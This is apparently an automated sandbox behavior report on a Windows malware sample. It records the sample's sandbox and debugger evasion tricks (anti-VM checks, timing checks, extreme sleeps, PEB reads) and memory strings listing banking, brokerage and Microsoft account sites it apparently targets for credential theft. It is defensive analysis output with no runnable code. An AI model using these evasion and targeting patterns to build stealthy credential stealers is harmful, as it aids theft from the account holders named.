Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: 8SxJ9aYfJ1.exe PID: 6064, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: TwkYThKVQVaYn.exe PID: 3552, type: MEMORYSTR
Switches to a custom stack to bypass stack traces
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\findstr.exe API/Special instruction interceptor: Address: 7FFDB442DA44
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 25A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 27B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 47B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 77A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 87A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 8950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: 9950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 26C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 2880000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 4880000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 7170000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 8170000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 8310000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory allocated: 9310000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167096E rdtsc 10_2_0167096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5844 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4899 Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Window / User API: threadDelayed 9840 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe API coverage: 0.7 %
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe API coverage: 0.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe TID: 3516 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7036 Thread sleep count: 5844 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2732 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 992 Thread sleep count: 39 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5448 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1836 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2052 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe TID: 4136 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 3728 Thread sleep count: 130 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 3728 Thread sleep time: -260000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 3728 Thread sleep count: 9840 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 3728 Thread sleep time: -19680000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe TID: 6944 Thread sleep time: -80000s >= -30000s
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe TID: 6944 Thread sleep count: 37 > 30
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe TID: 6944 Thread sleep time: -55500s >= -30000s
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe TID: 6944 Thread sleep count: 38 > 30
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe TID: 6944 Thread sleep time: -38000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\findstr.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\findstr.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: s822635O8R95.18.dr Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: s822635O8R95.18.dr Binary or memory string: discord.comVMware20,11696487552f
Source: s822635O8R95.18.dr Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware2
Source: s822635O8R95.18.dr Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: s822635O8R95.18.dr Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: tasks.office.comVMware20,11696487552o
Source: sbJGUdSMCgtLQJ.exe, 00000017.00000002.4528782188.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: global block list test formVMware20,11696487552
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware20,11696487552j
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware20,11696487552u
Source: s822635O8R95.18.dr Binary or memory string: AMC password management pageVMware20,11696487552
Source: findstr.exe, 00000012.00000002.4528334347.00000000030BE000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2803054309.000002BD7DB8C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: s822635O8R95.18.dr Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: s822635O8R95.18.dr Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: dev.azure.comVMware20,11696487552j
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: s822635O8R95.18.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware20,11696487552~
Source: s822635O8R95.18.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: s822635O8R95.18.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: s822635O8R95.18.dr Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: s822635O8R95.18.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: omVMware20,11696487552|
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ive Brokers - GDCDYNVMware20,11696487552p
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: s822635O8R95.18.dr Binary or memory string: outlook.office.comVMware20,11696487552s
Source: s822635O8R95.18.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: s822635O8R95.18.dr Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: s822635O8R95.18.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: pageVMware20,11696487552
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: x.intuit.comVMware20,1162
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: tportal.hdfcbank.comVMware20,11696487552
Source: findstr.exe, 00000012.00000002.4534379410.0000000007E02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: look.office.comVMware20,11696487552s
Source: s822635O8R95.18.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: s822635O8R95.18.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0167096E rdtsc 10_2_0167096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00417B33 LdrLoadDll, 10_2_00417B33
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C4144 mov eax, dword ptr fs:[00000030h] 10_2_016C4144
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C4144 mov eax, dword ptr fs:[00000030h] 10_2_016C4144
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C4144 mov ecx, dword ptr fs:[00000030h] 10_2_016C4144
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C4144 mov eax, dword ptr fs:[00000030h] 10_2_016C4144
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C4144 mov eax, dword ptr fs:[00000030h] 10_2_016C4144
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162C156 mov eax, dword ptr fs:[00000030h] 10_2_0162C156
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C8158 mov eax, dword ptr fs:[00000030h] 10_2_016C8158
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636154 mov eax, dword ptr fs:[00000030h] 10_2_01636154
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01636154 mov eax, dword ptr fs:[00000030h] 10_2_01636154
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01660124 mov eax, dword ptr fs:[00000030h] 10_2_01660124
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov eax, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov ecx, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov eax, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov eax, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov ecx, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov eax, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov eax, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov ecx, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov eax, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DE10E mov ecx, dword ptr fs:[00000030h] 10_2_016DE10E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DA118 mov ecx, dword ptr fs:[00000030h] 10_2_016DA118
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DA118 mov eax, dword ptr fs:[00000030h] 10_2_016DA118
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DA118 mov eax, dword ptr fs:[00000030h] 10_2_016DA118
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016DA118 mov eax, dword ptr fs:[00000030h] 10_2_016DA118
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F0115 mov eax, dword ptr fs:[00000030h] 10_2_016F0115
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_017061E5 mov eax, dword ptr fs:[00000030h] 10_2_017061E5
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016601F8 mov eax, dword ptr fs:[00000030h] 10_2_016601F8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F61C3 mov eax, dword ptr fs:[00000030h] 10_2_016F61C3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F61C3 mov eax, dword ptr fs:[00000030h] 10_2_016F61C3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 10_2_016AE1D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 10_2_016AE1D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE1D0 mov ecx, dword ptr fs:[00000030h] 10_2_016AE1D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 10_2_016AE1D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 10_2_016AE1D0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01670185 mov eax, dword ptr fs:[00000030h] 10_2_01670185
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016EC188 mov eax, dword ptr fs:[00000030h] 10_2_016EC188
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016EC188 mov eax, dword ptr fs:[00000030h] 10_2_016EC188
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D4180 mov eax, dword ptr fs:[00000030h] 10_2_016D4180
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D4180 mov eax, dword ptr fs:[00000030h] 10_2_016D4180
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B019F mov eax, dword ptr fs:[00000030h] 10_2_016B019F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B019F mov eax, dword ptr fs:[00000030h] 10_2_016B019F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B019F mov eax, dword ptr fs:[00000030h] 10_2_016B019F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B019F mov eax, dword ptr fs:[00000030h] 10_2_016B019F
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162A197 mov eax, dword ptr fs:[00000030h] 10_2_0162A197
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162A197 mov eax, dword ptr fs:[00000030h] 10_2_0162A197
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162A197 mov eax, dword ptr fs:[00000030h] 10_2_0162A197
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0165C073 mov eax, dword ptr fs:[00000030h] 10_2_0165C073
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01632050 mov eax, dword ptr fs:[00000030h] 10_2_01632050
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B6050 mov eax, dword ptr fs:[00000030h] 10_2_016B6050
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162A020 mov eax, dword ptr fs:[00000030h] 10_2_0162A020
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162C020 mov eax, dword ptr fs:[00000030h] 10_2_0162C020
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C6030 mov eax, dword ptr fs:[00000030h] 10_2_016C6030
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B4000 mov ecx, dword ptr fs:[00000030h] 10_2_016B4000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D2000 mov eax, dword ptr fs:[00000030h] 10_2_016D2000
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164E016 mov eax, dword ptr fs:[00000030h] 10_2_0164E016
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164E016 mov eax, dword ptr fs:[00000030h] 10_2_0164E016
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164E016 mov eax, dword ptr fs:[00000030h] 10_2_0164E016
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164E016 mov eax, dword ptr fs:[00000030h] 10_2_0164E016
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162A0E3 mov ecx, dword ptr fs:[00000030h] 10_2_0162A0E3
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016380E9 mov eax, dword ptr fs:[00000030h] 10_2_016380E9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B60E0 mov eax, dword ptr fs:[00000030h] 10_2_016B60E0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0162C0F0 mov eax, dword ptr fs:[00000030h] 10_2_0162C0F0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016720F0 mov ecx, dword ptr fs:[00000030h] 10_2_016720F0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B20DE mov eax, dword ptr fs:[00000030h] 10_2_016B20DE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016C80A8 mov eax, dword ptr fs:[00000030h] 10_2_016C80A8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F60B8 mov eax, dword ptr fs:[00000030h] 10_2_016F60B8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016F60B8 mov ecx, dword ptr fs:[00000030h] 10_2_016F60B8
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0163208A mov eax, dword ptr fs:[00000030h] 10_2_0163208A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016D437C mov eax, dword ptr fs:[00000030h] 10_2_016D437C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B2349 mov eax, dword ptr fs:[00000030h] 10_2_016B2349
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B035C mov eax, dword ptr fs:[00000030h] 10_2_016B035C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B035C mov eax, dword ptr fs:[00000030h] 10_2_016B035C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B035C mov eax, dword ptr fs:[00000030h] 10_2_016B035C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B035C mov ecx, dword ptr fs:[00000030h] 10_2_016B035C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B035C mov eax, dword ptr fs:[00000030h] 10_2_016B035C
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016B035C mov eax, dword ptr fs:[00000030h] 10_2_016B035C
